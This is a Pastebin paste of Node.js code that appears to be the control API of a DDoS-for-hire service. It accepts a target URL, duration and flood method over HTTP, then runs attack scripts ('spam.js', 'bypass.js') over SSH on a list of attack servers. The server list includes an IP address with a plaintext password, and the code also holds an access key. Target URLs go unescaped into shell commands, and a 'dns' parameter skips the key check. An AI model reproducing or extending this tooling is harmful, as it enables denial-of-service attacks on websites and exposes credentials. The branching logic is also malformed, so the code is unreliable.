Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
9,129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.82 KB | None | 0 0
  1. const net = require('net');
  2. const Client = require('ssh2').Client;
  3. const http = require('http');
  4. const url = require('url');
  5. const fs = require('fs');
  6.  
  7. const methods = [
  8. "SPAMGET",
  9. "SPAMPOST",
  10. "BYPASS",
  11.  
  12. "STOP"
  13. ];
  14.  
  15.  
  16. var servers = [
  17.  
  18. {
  19. ip: "101.99.90.71",
  20. username: "admin",
  21. password: "wtfY@xv4o%MhS%DaQoBxo8fxJhqwndTT@H2"
  22. },
  23. {
  24. ip: "1.2.3.22",
  25. username: "root",
  26. password: "password"
  27. },
  28.  
  29. ]
  30.  
  31.  
  32. var keys = [{
  33. key: "TkAd6wCjRTVdnBJVn7cTJEKJ6JEB5XmfZjf",
  34. concurrents: 4,
  35. maxtime: 1800,
  36. attacks: 0,
  37. admin: true
  38. }]
  39.  
  40.  
  41. process.on('uncaughtException', function(e) {
  42. console.warn(e);
  43. });
  44.  
  45. process.on('unhandledRejection', function(e) {
  46. console.warn(e);
  47. });
  48. var client = new net.Socket();
  49.  
  50. var httpServer = http.createServer().on('request', function(request, response) {
  51. request.query = url.parse(request.url, true).query;
  52. if (methods.indexOf(request.query.method) === -1 || request.query.time < 10) return response.end('gay');
  53. if (!request.query.url) {
  54. return response.end('{"error": "No URL mentioned."}');
  55. }
  56. if (!request.query.time) {
  57. return response.end('{"error": "No time given"}');
  58. }
  59. if (!request.query.method) {
  60. return response.end('{"error": "No method given"}');
  61. }
  62. if (request.query.key || request.query.dns) {
  63. console.log("key is " + request.query.key);
  64. console.log("request.query.keydb is " + request.query.keydb);
  65. console.log("request.query.dns is " + request.query.dns);
  66. if (request.query.keydb || request.query.dns) {
  67. if (request.query.dns) {
  68. request.query.keydb = {
  69. concurrents: 1e3,
  70. maxtime: 1e6,
  71. attacks: -1e6
  72. };
  73. }
  74. if (request.query.method == 'STOPALL') {
  75. if (request.query.keydb.admin) {
  76. execute("sudo pkill .js -f; sudo pkill https:// -f; sudo pkill http:// -f;");
  77. response.end("Attack has been sent on " + request.query.url);
  78. }
  79. }
  80. else if (request.query.method == 'SPAMGET') {
  81. if (request.query.keydb.admin) {
  82. execute("sudo node spam.js " + "get " + request.query.url + " " + request.query.time);
  83. response.end("Attack has been sent on " + request.query.url);
  84. }
  85. else if (request.query.method == 'SPAMPOST') {
  86. if (request.query.keydb.admin) {
  87. execute("sudo node spam.js " + request.query.url + " " + request.query.time);
  88. response.end("Attack has been sent on " + "post " + request.query.url);
  89. }
  90. else if (request.query.method == 'BYPASS') {
  91. if (request.query.keydb.admin) {
  92. execute("sudo node bypass.js " + request.query.url + " " + request.query.time + " GET");
  93. response.end("Attack has been sent on " + "post " + request.query.url);
  94. }
  95. }
  96. else if (request.query.method == 'STOP') {
  97. if (request.query.keydb.admin) {
  98. execute("sudo pkill " + request.query.url + " -f");
  99. response.end("Stopped attack on " + request.query.url);
  100. }
  101. }
  102. } else {
  103. response.end("Wrong key");
  104. }
  105. } else {
  106. response.end("No key was mentioned.");
  107. }
  108. } else {
  109. response.setHeader('content-type', 'text/html');
  110. return response.end('maintenance');
  111. }
  112. });
  113. httpServer.listen(12,function(){
  114. console.log('Server is running on port 12');
  115. });
  116. function execute(command, serversLimit) {
  117. servers.forEach(function(server) {
  118. var conn = new Client();
  119. conn.on('ready', function() {
  120. console.log('Client :: ready');
  121. conn.exec(command, function(err, stream) {
  122. if (err) throw err;
  123. stream.on('close', function(code, signal) {
  124. console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
  125. conn.end();
  126. }).on('data', function(data) {
  127. console.log('STDOUT: ' + data);
  128. }).stderr.on('data', function(data) {
  129. console.log('STDERR: ' + data);
  130. });
  131. });
  132. }).connect({
  133. host: server.ip,
  134. port: 22,
  135. username: server.username,
  136. password: server.password
  137. });
  138. });
  139. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement